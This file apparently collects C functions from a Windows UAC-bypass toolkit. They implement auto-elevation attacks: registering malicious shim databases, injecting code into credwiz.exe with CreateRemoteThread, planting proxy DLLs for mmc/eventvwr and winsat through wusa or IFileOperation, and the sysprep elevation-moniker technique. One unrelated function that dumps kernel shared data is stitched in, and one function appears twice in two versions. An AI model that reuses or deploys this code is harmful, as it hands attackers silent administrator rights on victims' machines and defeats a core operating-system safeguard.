/* * ucmAppcompatElevation * * Purpose: * * AutoElevation using Application Compatibility engine. * */ BOOL ucmAppcompatElevation( UACBYPASSMETHOD Method, CONST PVOID ProxyDll, DWORD ProxyDllSize, LPWSTR lpszPayloadEXE ) { BOOL cond = FALSE, bResult = FALSE; WCHAR szBuffer[MAX_PATH * 2]; do { RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStrings(TEXT("%systemroot%\\system32\\apphelp.dll"), szBuffer, MAX_PATH) == 0) { break; } hAppHelp = LoadLibrary(szBuffer); if (hAppHelp == NULL) { break; } if (ucmInitAppHelp() == FALSE) { break; } //create and register shim with RedirectEXE, cmd.exe as payload if (Method == UacMethodRedirectExe) { if (lpszPayloadEXE == NULL) { _strcpy_w(szBuffer, L"%systemroot%\\system32\\cmd.exe"); bResult = ucmShimRedirectEXE(szBuffer); } else { bResult = ucmShimRedirectEXE(lpszPayloadEXE); } return bResult; } //create and register shim patch with fubuki as payload if (Method == UacMethodShimPatch) { bResult = ucmShimPatch(ProxyDll, ProxyDllSize); } } while (cond); return bResult; }
/* * ucmAppcompatElevation * * Purpose: * * AutoElevation using Application Compatibility engine. * */ BOOL ucmAppcompatElevation( UACBYPASSMETHOD Method, CONST PVOID ProxyDll, DWORD ProxyDllSize, LPWSTR lpszPayloadEXE ) { BOOL cond = FALSE, bResult = FALSE; WCHAR szBuffer[MAX_PATH * 2]; do { RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); _strcpy(szBuffer, g_ctx.szSystemDirectory); _strcat(szBuffer, APPHELP_DLL); hAppHelp = LoadLibrary(szBuffer); if (hAppHelp == NULL) { break; } if (ucmInitAppHelp() == FALSE) { break; } //create and register shim with RedirectEXE, cmd.exe as payload if (Method == UacMethodRedirectExe) { if (lpszPayloadEXE == NULL) { _strcpy_w(szBuffer, T_DEFAULT_CMD); bResult = ucmShimRedirectEXE(szBuffer); } else { bResult = ucmShimRedirectEXE(lpszPayloadEXE); } return bResult; } //create and register shim patch with fubuki as payload if (Method == UacMethodShimPatch) { bResult = ucmShimPatch(ProxyDll, ProxyDllSize); } } while (cond); return bResult; }
/* * ucmRegisterAndRunTarget * * Purpose: * * Register shim database and execute target app. * */ BOOL ucmRegisterAndRunTarget( _In_ LPWSTR lpSystemDirectory, _In_ LPWSTR lpSdbinstPath, _In_ LPWSTR lpShimDbPath, _In_ LPWSTR lpTarget, _In_ BOOL IsPatch ) { BOOL bResult = FALSE; WCHAR szTempDirectory[MAX_PATH * 2]; WCHAR szCmd[MAX_PATH * 4]; if ((lpTarget == NULL) || (lpSystemDirectory == NULL) || (lpSdbinstPath == NULL) || (lpShimDbPath == NULL) ) { return bResult; } RtlSecureZeroMemory(szCmd, sizeof(szCmd)); if (IsPatch) { wsprintf(szCmd, L"-p %ws", lpShimDbPath); } else { _strcpy_w(szCmd, lpShimDbPath); } //register shim, sdbinst.exe if (supRunProcess(lpSdbinstPath, szCmd)) { RtlSecureZeroMemory(szTempDirectory, sizeof(szTempDirectory)); wsprintfW(szTempDirectory, lpTarget, lpSystemDirectory); bResult = supRunProcess(szTempDirectory, NULL); //remove database RtlSecureZeroMemory(szCmd, sizeof(szCmd)); wsprintf(szCmd, L"/q /u %ws", lpShimDbPath); supRunProcess(lpSdbinstPath, szCmd); DeleteFileW(lpShimDbPath); } return bResult; }
/* * ucmH1N1Method * * Purpose: * * Bypass UAC by abusing OOBE.exe backdoor hardcoded in appinfo.dll * */ BOOL ucmH1N1Method( PVOID ProxyDll, DWORD ProxyDllSize ) { BOOL cond = FALSE, bResult = FALSE; DWORD c; HANDLE hProcess = NULL, hRemoteThread = NULL; HINSTANCE selfmodule = GetModuleHandle(NULL); PIMAGE_DOS_HEADER pdosh = (PIMAGE_DOS_HEADER)selfmodule; PIMAGE_FILE_HEADER fh = (PIMAGE_FILE_HEADER)((char *)pdosh + pdosh->e_lfanew + sizeof(DWORD)); PIMAGE_OPTIONAL_HEADER opth = (PIMAGE_OPTIONAL_HEADER)((char *)fh + sizeof(IMAGE_FILE_HEADER)); LPVOID remotebuffer = NULL, newEp, newDp; SIZE_T NumberOfBytesWritten = 0; PELOAD_PARAMETERS_4 elvpar = &g_ElevParamsH1N1; LPVOID elevproc = ucmElevatedLaunchProc; WCHAR szBuffer[MAX_PATH * 2]; WCHAR szDest[MAX_PATH + 1]; WCHAR szSource[MAX_PATH + 1]; if ( (ProxyDll == NULL) || (ProxyDllSize == 0) ) { return bResult; } do { //put Fubuki dll as netutils to %temp% RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(szBuffer, TEMPDIR); _strcat_w(szBuffer, L"netutils.dll"); RtlSecureZeroMemory(szSource, sizeof(szSource)); if (ExpandEnvironmentStrings(szBuffer, szSource, MAX_PATH) == 0) { break; } if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) { OutputDebugString(TEXT("[UCM] Failed to drop dll")); break; } else { OutputDebugStringW(TEXT("[UCM] Dll dropped successfully")); } //copy dll to wbem target folder RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStringsW(WBEMDIR, szBuffer, MAX_PATH) == 0) { break; } //note: uacmAutoElevateCopyFile uses injection to explorer.exe bResult = ucmAutoElevateCopyFile(szSource, szBuffer); if (!bResult) { break; } //copy 1st stage target process RtlSecureZeroMemory(szSource, sizeof(szSource)); if (ExpandEnvironmentStrings(L"%systemroot%\\system32\\credwiz.exe", szSource, MAX_PATH) == 0) { break; } RtlSecureZeroMemory(szDest, sizeof(szDest)); if (ExpandEnvironmentStrings(L"%temp%\\oobe.exe", szDest, MAX_PATH) == 0) { break; } if (!CopyFile(szSource, szDest, FALSE)) { break; } bResult = ucmAutoElevateCopyFile(szDest, szBuffer); if (!bResult) { break; } //setup basic shellcode routines RtlSecureZeroMemory(&g_ElevParamsH1N1, sizeof(g_ElevParamsH1N1)); elvpar->xShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(g_ldp.hShell32, "ShellExecuteExW"); elvpar->xWaitForSingleObject = (pfnWaitForSingleObject)GetProcAddress(g_ldp.hKernel32, "WaitForSingleObject"); elvpar->xCloseHandle = (pfnCloseHandle)GetProcAddress(g_ldp.hKernel32, "CloseHandle"); //set shellcode 2nd stage target process RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(elvpar->szTargetApp, g_ldp.szSystemDirectory); //c:\windows\system32\wbem\oobe.exe _strcat_w(elvpar->szTargetApp, L"\\wbem\\oobe.exe"); _strcpy_w(elvpar->szVerb, L"runas"); _strcpy_w(szBuffer, g_ldp.szSystemDirectory); //c:\windows\system32\credwiz.exe _strcat_w(szBuffer, L"\\credwiz.exe"); //run 1st stage target process hProcess = supRunProcessEx(szBuffer, NULL, NULL); if (hProcess == NULL) { OutputDebugString(TEXT("[UCM] Cannot open target process.")); break; } remotebuffer = VirtualAllocEx(hProcess, NULL, (SIZE_T)opth->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (remotebuffer == NULL) { OutputDebugString(TEXT("[UCM] Cannot allocate memory in target process.")); break; } if (!WriteProcessMemory(hProcess, remotebuffer, selfmodule, opth->SizeOfImage, &NumberOfBytesWritten)) { OutputDebugString(TEXT("[UCM] Cannot write to the target process memory.")); break; } newEp = (char *)remotebuffer + ((char *)elevproc - (char *)selfmodule); newDp = (char *)remotebuffer + ((char *)elvpar - (char *)selfmodule); hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, newEp, newDp, 0, &c); bResult = (hRemoteThread != NULL); if (bResult) { WaitForSingleObject(hRemoteThread, INFINITE); CloseHandle(hRemoteThread); } } while (cond); if (hProcess != NULL) { TerminateProcess(hProcess, 0); CloseHandle(hProcess); } return bResult; }
/* * ucmMMCMethod * * Purpose: * * Bypass UAC by abusing MMC.exe backdoor hardcoded in appinfo.dll * */ BOOL ucmMMCMethod( LPWSTR lpTargetDll, PVOID ProxyDll, DWORD ProxyDllSize ) { BOOL bResult = FALSE, cond = FALSE; WCHAR szSource[MAX_PATH + 1]; WCHAR szDest[MAX_PATH + 1]; WCHAR szBuffer[MAX_PATH + 1]; if ( (ProxyDll == NULL) || (ProxyDllSize == 0) || (lpTargetDll == NULL) ) { return bResult; } if (_strlen_w(lpTargetDll) > 100) { return bResult; } do { //put target dll RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(szBuffer, TEMPDIR); _strcat_w(szBuffer, lpTargetDll); //expand string for proxy dll RtlSecureZeroMemory(szSource, sizeof(szSource)); if (ExpandEnvironmentStrings(szBuffer, szSource, MAX_PATH) == 0) { break; } //write proxy dll to disk if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) { OutputDebugString(TEXT("[UCM] Failed to drop dll")); break; } else { OutputDebugStringW(TEXT("[UCM] Dll dropped successfully")); } //expand string for target dir RtlSecureZeroMemory(szDest, sizeof(szDest)); if (ExpandEnvironmentStringsW(SYSTEMROOTDIR, szDest, MAX_PATH) == 0) { break; } //drop fubuki to system32 bResult = ucmAutoElevateCopyFile(szSource, szDest); if (!bResult) { break; } //run mmc console //because of mmc harcoded backdoor uac will autoelevate mmc with valid and trusted MS command //event viewer will attempt to load not existing dll, so we will give him our little friend bResult = supRunProcess(L"mmc.exe", L"eventvwr.msc"); } while (cond); return bResult; }
/* * ucmWinSATMethod * * Purpose: * * Acquire elevation through abusing APPINFO.DLL whitelisting model logic and wusa installer/IFileOperation autoelevation. * Slightly modified target and proxydll can work almost with every autoelevated/whitelisted application. * This method uses advantage of wusa to write to the protected folders, but can be adapted to IFileOperation too. * WinSAT used for demonstration purposes only. * */ BOOL ucmWinSATMethod( LPWSTR lpTargetDll, PVOID ProxyDll, DWORD ProxyDllSize, BOOL UseWusa ) { BOOL bResult = FALSE, cond = FALSE; CABDATA *Cabinet = NULL; WCHAR szSource[MAX_PATH + 1]; WCHAR szDest[MAX_PATH + 1]; WCHAR szBuffer[MAX_PATH + 1]; if ( (ProxyDll == NULL) || (ProxyDllSize == 0) || (lpTargetDll == NULL) ) { return bResult; } if (_strlen_w(lpTargetDll) > 100) { return bResult; } RtlSecureZeroMemory(szSource, sizeof(szSource)); RtlSecureZeroMemory(szDest, sizeof(szDest)); do { if (ExpandEnvironmentStrings(L"%systemroot%\\system32\\winsat.exe", szSource, MAX_PATH) == 0) { break; } if (ExpandEnvironmentStrings(L"%temp%\\winsat.exe", szDest, MAX_PATH) == 0) { break; } // Copy winsat to temp directory if (!CopyFile(szSource, szDest, FALSE)) { break; } //put target dll RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(szBuffer, TEMPDIR); _strcat_w(szBuffer, lpTargetDll); //expand string for proxy dll RtlSecureZeroMemory(szSource, sizeof(szSource)); if (ExpandEnvironmentStrings(szBuffer, szSource, MAX_PATH) == 0) { break; } //write proxy dll to disk if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) { OutputDebugString(TEXT("[UCM] Failed to drop dll")); break; } else { OutputDebugStringW(TEXT("[UCM] Dll dropped successfully")); } // // Two options: use wusa installer or IFileOperation // if ( UseWusa ) { //build cabinet RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStringsW(T_MSUPACKAGE_NAME, szBuffer, MAX_PATH) == 0) { break; } Cabinet = cabCreate(szBuffer); if (Cabinet) { //expand string for winsat.exe if (ExpandEnvironmentStrings(L"%temp%\\winsat.exe", szDest, MAX_PATH) == 0) { break; } //put proxy dll inside cabinet cabAddFile(Cabinet, szSource, lpTargetDll); //put winsat.exe cabAddFile(Cabinet, szDest, L"winsat.exe"); cabClose(Cabinet); Cabinet = NULL; } else { OutputDebugString(TEXT("[UCM] Error creating cab archive")); break; } //extract package ucmWusaExtractPackage(T_WINSAT_CMDLINE); RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStrings(T_WINSAT_TARGET, szBuffer, MAX_PATH) == 0) { break; } bResult = supRunProcess(szBuffer, NULL); } else { //wusa extract banned, switch to IFileOperation. RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStringsW(M1W7_TARGETDIR, szBuffer, MAX_PATH) == 0) { break; } bResult = ucmAutoElevateCopyFile(szSource, szBuffer); if (!bResult) { break; } bResult = ucmAutoElevateCopyFile(szDest, szBuffer); if (!bResult) { break; } Sleep(0); //run winsat RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); if (ExpandEnvironmentStrings(T_WINSAT_TARGET, szBuffer, MAX_PATH) == 0) { break; } bResult = supRunProcess(szBuffer, NULL); //cleanup of the above files must be done by payload code } } while (cond); if (Cabinet) { cabClose(Cabinet); } //remove trash from %temp% if (szDest[0] != 0) { DeleteFileW(szDest); } if (szSource[0] != 0) { DeleteFileW(szSource); } return bResult; }
/* * UsdDumpSharedRegion * * Purpose: * * Display dump of SharedData. * */ VOID UsdDumpSharedRegion( _In_ HWND hwndParent ) { BOOL bCond = FALSE; INT i; DWORD mask; HWND UsdTreeList; ATOM UsdTreeListAtom; NTSTATUS status; SIZE_T memIO = 0x1000; PKUSER_SHARED_DATA pData = NULL; HTREEITEM h_tviRootItem, h_tviSubItem; LPWSTR lpType; TL_SUBITEMS_FIXED subitems; WCHAR szValue[MAX_PATH + 1]; do { //Allocate temp buffer for UserSharedData copy pData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, memIO); if (pData == NULL) { break; } //Attempt to copy UserSharedData status = NtReadVirtualMemory(GetCurrentProcess(), (PVOID)MM_SHARED_USER_DATA_VA, pData, memIO, &memIO); if (!NT_SUCCESS(status)) { break; } UsdTreeList = 0; UsdTreeListAtom = 0; if (!supInitTreeListForDump(hwndParent, &UsdTreeListAtom, &UsdTreeList)) { break; } // //KUSER_SHARED_DATA // h_tviRootItem = TreeListAddItem(UsdTreeList, NULL, TVIF_TEXT | TVIF_STATE, TVIS_EXPANDED, TVIS_EXPANDED, L"KUSER_SHARED_DATA", NULL); if (h_tviRootItem == NULL) { break; } //NtSystemRoot RtlSecureZeroMemory(&subitems, sizeof(subitems)); subitems.Text[0] = pData->NtSystemRoot; subitems.Count = 1; TreeListAddItem(UsdTreeList, h_tviRootItem, TVIF_TEXT | TVIF_STATE, 0, 0, L"NtSystemRoot", &subitems); //NtProductType switch (pData->NtProductType) { case NtProductWinNt: lpType = L"NtProductWinNt"; break; case NtProductLanManNt: lpType = L"NtProductLanManNt"; break; case NtProductServer: lpType = L"NtProductServer"; break; default: lpType = T_UnknownType; break; } ObDumpUlong(UsdTreeList, h_tviRootItem, L"NtProductType", lpType, pData->NtProductType, FALSE, FALSE, 0, 0); ObDumpByte(UsdTreeList, h_tviRootItem, L"ProductTypeIsValid", NULL, pData->ProductTypeIsValid, 0, 0, TRUE); //Version ObDumpUlong(UsdTreeList, h_tviRootItem, L"NtMajorVersion", NULL, pData->NtMajorVersion, FALSE, FALSE, 0, 0); ObDumpUlong(UsdTreeList, h_tviRootItem, L"NtMinorVersion", NULL, pData->NtMinorVersion, FALSE, FALSE, 0, 0); //ProcessorFeatures h_tviSubItem = TreeListAddItem(UsdTreeList, h_tviRootItem, TVIF_TEXT | TVIF_STATE, 0, 0, L"ProcessorFeatures", NULL); if (h_tviSubItem) { for (i = 0; i < PROCESSOR_FEATURE_MAX; i++) { if (pData->ProcessorFeatures[i]) { if (i > 32) { lpType = T_Unknown; } else { lpType = T_PROCESSOR_FEATURES[i]; } RtlSecureZeroMemory(&subitems, sizeof(subitems)); RtlSecureZeroMemory(&szValue, sizeof(szValue)); itostr_w(i, szValue); subitems.Text[0] = szValue; subitems.Text[1] = lpType; subitems.Count = 2; TreeListAddItem(UsdTreeList, h_tviSubItem, TVIF_TEXT | TVIF_STATE, 0, 0, NULL, &subitems); } } } //AlternativeArchitecture switch (pData->AlternativeArchitecture) { case StandardDesign: lpType = L"StandardDesign"; break; case NEC98x86: lpType = L"NEC98x86"; break; default: lpType = T_UnknownType; break; } ObDumpUlong(UsdTreeList, h_tviRootItem, L"AlternativeArchitecture", lpType, pData->AlternativeArchitecture, FALSE, FALSE, 0, 0); //SuiteMask RtlSecureZeroMemory(&subitems, sizeof(subitems)); RtlSecureZeroMemory(&szValue, sizeof(szValue)); szValue[0] = L'0'; szValue[1] = L'x'; ultohex_w(pData->SuiteMask, &szValue[2]); subitems.Text[0] = szValue; subitems.Count = 1; h_tviSubItem = TreeListAddItem(UsdTreeList, h_tviRootItem, TVIF_TEXT | TVIF_STATE, 0, 0, L"SuiteMask", &subitems); if (h_tviSubItem) { mask = pData->SuiteMask; for (i = 0; i < MAX_KNOWN_SUITEMASKS; i++) { if (mask & SuiteMasks[i].dwValue) { RtlSecureZeroMemory(&subitems, sizeof(subitems)); RtlSecureZeroMemory(&szValue, sizeof(szValue)); szValue[0] = L'0'; szValue[1] = L'x'; ultohex_w(SuiteMasks[i].dwValue, &szValue[2]); subitems.Text[0] = szValue; subitems.Text[1] = SuiteMasks[i].lpDescription; subitems.Count = 2; TreeListAddItem(UsdTreeList, h_tviSubItem, TVIF_TEXT | TVIF_STATE, 0, 0, NULL, &subitems); mask &= ~SuiteMasks[i].dwValue; } } } //KdDebuggerEnabled ObDumpByte(UsdTreeList, h_tviRootItem, L"KdDebuggerEnabled", NULL, pData->KdDebuggerEnabled, 0, 0, TRUE); //MitigationPolicies ObDumpByte(UsdTreeList, h_tviRootItem, L"MitigationPolicies", NULL, pData->MitigationPolicies, 0, 0, FALSE); //SafeBootMode ObDumpByte(UsdTreeList, h_tviRootItem, L"SafeBootMode", NULL, pData->SafeBootMode, 0, 0, TRUE); //SharedDataFlags RtlSecureZeroMemory(&subitems, sizeof(subitems)); RtlSecureZeroMemory(&szValue, sizeof(szValue)); szValue[0] = L'0'; szValue[1] = L'x'; ultohex_w(pData->SharedDataFlags, &szValue[2]); subitems.Text[0] = szValue; subitems.Count = 1; h_tviSubItem = TreeListAddItem(UsdTreeList, h_tviRootItem, TVIF_TEXT | TVIF_STATE, 0, 0, L"SharedDataFlags", &subitems); if (h_tviSubItem) { for (i = 0; i < 9; i++) { if (GET_BIT(pData->SharedDataFlags, i)) { RtlSecureZeroMemory(&subitems, sizeof(subitems)); RtlSecureZeroMemory(&szValue, sizeof(szValue)); _strcpy_w(szValue, L"BitPos: "); itostr_w(i, _strend_w(szValue)); subitems.Text[0] = szValue; subitems.Text[1] = (LPTSTR)T_SharedDataFlags[i]; subitems.Count = 2; TreeListAddItem(UsdTreeList, h_tviSubItem, TVIF_TEXT | TVIF_STATE, 0, 0, NULL, &subitems); } } } } while (bCond); if (pData) { HeapFree(GetProcessHeap(), 0, pData); } }
/* * ucmStandardAutoElevation * * Purpose: * * Leo Davidson AutoElevation method with derivatives. * * M1W7 - Original Leo Davidson concept. * M1W8 - Windows 8.1 adapted M1W7 (bypassing sysprep embedded manifest dlls redirection). * M1W7T - Leo Davidson concept with different target dll, used by Win32/Tilon. * M1W10 - Windows 10 adapter M1W7. * M1WALL - WinNT/Pitou derivative from Leo Davidson concept. * */ BOOL ucmStandardAutoElevation( DWORD dwType, CONST PVOID ProxyDll, DWORD ProxyDllSize ) { BOOL cond = FALSE, bResult = FALSE; HINSTANCE hKrnl, hOle32, hShell32; LPWSTR lpSourceDll, lpTargetDir, lpTargetProcess; WCHAR szBuffer[MAX_PATH + 1]; switch (dwType) { case METHOD_SYSPREP1: lpSourceDll = M1W7_SOURCEDLL; lpTargetDir = M1W7_TARGETDIR; lpTargetProcess = M1W7_TARGETPROCESS; break; case METHOD_SYSPREP2: lpSourceDll = M1W8_SOURCEDLL; lpTargetDir = M1W7_TARGETDIR; lpTargetProcess = M1W7_TARGETPROCESS; break; case METHOD_SYSPREP3: lpSourceDll = M1W10_SOURCEDLL; lpTargetDir = M1W7_TARGETDIR; lpTargetProcess = M1W7_TARGETPROCESS; break; case METHOD_OOBE: lpSourceDll = M1WALL_SOURCEDLL; lpTargetDir = M1WALL_TARGETDIR; lpTargetProcess = M1WALL_TARGETPROCESS; break; case METHOD_TILON: lpSourceDll = M1W7T_SOURCEDLL; lpTargetDir = M1W7_TARGETDIR; lpTargetProcess = M1W7_TARGETPROCESS; break; default: return FALSE; } do { // load/reference required dlls hKrnl = GetModuleHandle(KERNEL32DLL); hOle32 = GetModuleHandle(OLE32DLL); if (hOle32 == NULL) { hOle32 = LoadLibrary(OLE32DLL); if (hOle32 == NULL) { break; } } hShell32 = GetModuleHandle(SHELL32DLL); if (hShell32 == NULL) { hShell32 = LoadLibrary(SHELL32DLL); if (hShell32 == NULL) { break; } } //source filename if (ExpandEnvironmentStringsW(lpSourceDll, g_ElevParams.SourceFilePathAndName, MAX_PATH) == 0) { break; } OutputDebugStringW(g_ElevParams.SourceFilePathAndName); if (!supWriteBufferToFile(g_ElevParams.SourceFilePathAndName, ProxyDll, ProxyDllSize)) { break; } //dest directory RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(szBuffer, lpTargetDir); if (ExpandEnvironmentStringsW(szBuffer, g_ElevParams.DestinationDir, MAX_PATH) == 0) { break; } OutputDebugStringW(g_ElevParams.DestinationDir); //target RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); _strcpy_w(szBuffer, lpTargetProcess); if (ExpandEnvironmentStringsW(szBuffer, g_ElevParams.ExePathAndName, MAX_PATH) == 0) { break; } OutputDebugStringW(g_ElevParams.ExePathAndName); //elevation moniker _strcpy_w(g_ElevParams.EleMoniker, L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}"); g_ElevParams.xIID = IID_IFileOperation; g_ElevParams.xIID_IShellItem = IID_IShellItem; g_ElevParams.xCLSID = CLSID_FileOperation; g_ElevParams.xCoInitialize = (pfnCoInitialize)GetProcAddress(hOle32, "CoInitialize"); g_ElevParams.xCoCreateInstance = (pfnCoCreateInstance)GetProcAddress(hOle32, "CoCreateInstance"); g_ElevParams.xCoGetObject = (pfnCoGetObject)GetProcAddress(hOle32, "CoGetObject"); g_ElevParams.xCoUninitialize = (pfnCoUninitialize)GetProcAddress(hOle32, "CoUninitialize"); g_ElevParams.xSHCreateItemFromParsingName = (pfnSHCreateItemFromParsingName)GetProcAddress(hShell32, "SHCreateItemFromParsingName"); g_ElevParams.xShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(hShell32, "ShellExecuteExW"); g_ElevParams.xWaitForSingleObject = (pfnWaitForSingleObject)GetProcAddress(hKrnl, "WaitForSingleObject"); g_ElevParams.xCloseHandle = (pfnCloseHandle)GetProcAddress(hKrnl, "CloseHandle"); bResult = ucmInjectExplorer(&g_ElevParams, ucmElevatedLoadProc); } while (cond); return bResult; }
/* * ucmShimPatch * * Purpose: * * Build, register shim patch database and execute target app with forced Entry Point Override. * Aside from UAC bypass this is also dll injection technique. * */ BOOL ucmShimPatch( CONST PVOID ProxyDll, DWORD ProxyDllSize ) { BOOL bResult = FALSE, cond = FALSE; PDB hpdb; GUID dbGUID, exeGUID; WCHAR szTempDirectory[MAX_PATH * 2]; WCHAR szShimDbPath[MAX_PATH * 2]; WCHAR szSdbinstPath[MAX_PATH * 2]; WCHAR szSystemDirectory[MAX_PATH]; DWORD indexid = MAXDWORD, sz, epRVA = 0; TAGID dbrf, libref, patchref, exeref, matchfileref, patchfileref; PBYTE tmp; PPATCHBITS patchbits; RtlSecureZeroMemory(szSdbinstPath, sizeof(szSdbinstPath)); RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath)); do { if (!GetSystemDirectoryW(szSystemDirectory, MAX_PATH)) { break; } wsprintfW(szSdbinstPath, SHIM_SDBINSTALLER, szSystemDirectory); if (CoCreateGuid(&dbGUID) != S_OK) { break; } if (CoCreateGuid(&exeGUID) != S_OK) { break; } RtlSecureZeroMemory(szTempDirectory, sizeof(szTempDirectory)); if (!GetTempPathW(MAX_PATH, szTempDirectory)) { break; } // drop Fubuki RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath)); wsprintfW(szShimDbPath, L"%wsr3.dll", szTempDirectory); if (!supWriteBufferToFile(szShimDbPath, ProxyDll, ProxyDllSize)) { break; } RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath)); wsprintfW(szShimDbPath, L"%wsamuzani.sdb", szTempDirectory); hpdb = SdbCreateDatabase(szShimDbPath, DOS_PATH); if (hpdb == NULL) { break; } if (!SdbDeclareIndex(hpdb, TAG_EXE, TAG_NAME, 1, TRUE, &indexid)) { break; } if (!SdbStartIndexing(hpdb, indexid)) { break; } SdbStopIndexing(hpdb, indexid); SdbCommitIndexes(hpdb); // begin DATABASE { dbrf = SdbBeginWriteListTag(hpdb, TAG_DATABASE); if (!SdbWriteStringTag(hpdb, TAG_NAME, L"amuzani")) { break; } SdbWriteBinaryTag(hpdb, TAG_DATABASE_ID, (PBYTE)&dbGUID, sizeof(GUID)); SdbWriteDWORDTag(hpdb, TAG_OS_PLATFORM, 0x1); //<- win32 // begin LIBRARY { libref = SdbBeginWriteListTag(hpdb, TAG_LIBRARY); patchref = SdbBeginWriteListTag(hpdb, TAG_PATCH); // begin LIBRARY-PATCH SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_BINARYNAME); // query EP RVA for target RtlSecureZeroMemory(szTempDirectory, sizeof(szTempDirectory)); wsprintfW(szTempDirectory, L"%ws\\%ws", szSystemDirectory, SHIMPATCH_EXENAME); epRVA = supQueryEntryPointRVA(szTempDirectory); if (epRVA == 0) { break; } tmp = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 32 * 1024); if (tmp != NULL) { patchbits = (PPATCHBITS)tmp; sz = 0; patchbits->Opcode = PATCH_REPLACE; patchbits->RVA = epRVA; _strcpy_w(patchbits->ModuleName, SHIMPATCH_EXENAME); supCopyMemory((char *)&patchbits->Pattern, sizeof(patchcode32), patchcode32, sizeof(patchcode32)); patchbits->PatternSize = sizeof(patchcode32); patchbits->ActionSize = sizeof(PATCHBITS) + patchbits->PatternSize; sz += patchbits->ActionSize; SdbWriteBinaryTag(hpdb, TAG_PATCH_BITS, tmp, sz); HeapFree(GetProcessHeap(), 0, tmp); } SdbEndWriteListTag(hpdb, patchref); // end LIBRARY-PATCH // end LIBRARY SdbEndWriteListTag(hpdb, libref); SdbStartIndexing(hpdb, indexid); // begin EXE { exeref = SdbBeginWriteListTag(hpdb, TAG_EXE); SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_EXENAME); SdbWriteStringTag(hpdb, TAG_APP_NAME, SHIMPATCH_EXENAME); SdbWriteBinaryTag(hpdb, TAG_EXE_ID, (PBYTE)&exeGUID, sizeof(GUID)); // begin MATCH { matchfileref = SdbBeginWriteListTag(hpdb, TAG_MATCHING_FILE); SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_EXENAME); SdbWriteStringTag(hpdb, TAG_COMPANY_NAME, SHIMPATCH_MSFTFULL); SdbEndWriteListTag(hpdb, matchfileref); // } end MATCH patchfileref = SdbBeginWriteListTag(hpdb, TAG_PATCH_REF); SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_BINARYNAME); SdbWriteDWORDTag(hpdb, TAG_PATCH_TAGID, patchref); SdbEndWriteListTag(hpdb, patchfileref); SdbEndWriteListTag(hpdb, exeref); // } end EXE // } end DATABASE SdbEndWriteListTag(hpdb, dbrf); SdbCloseDatabaseWrite(hpdb); // Register db and run target. bResult = ucmRegisterAndRunTarget(szSystemDirectory, szSdbinstPath, szShimDbPath, L"%ws\\iscsicli.exe", TRUE); } while (cond); return bResult; }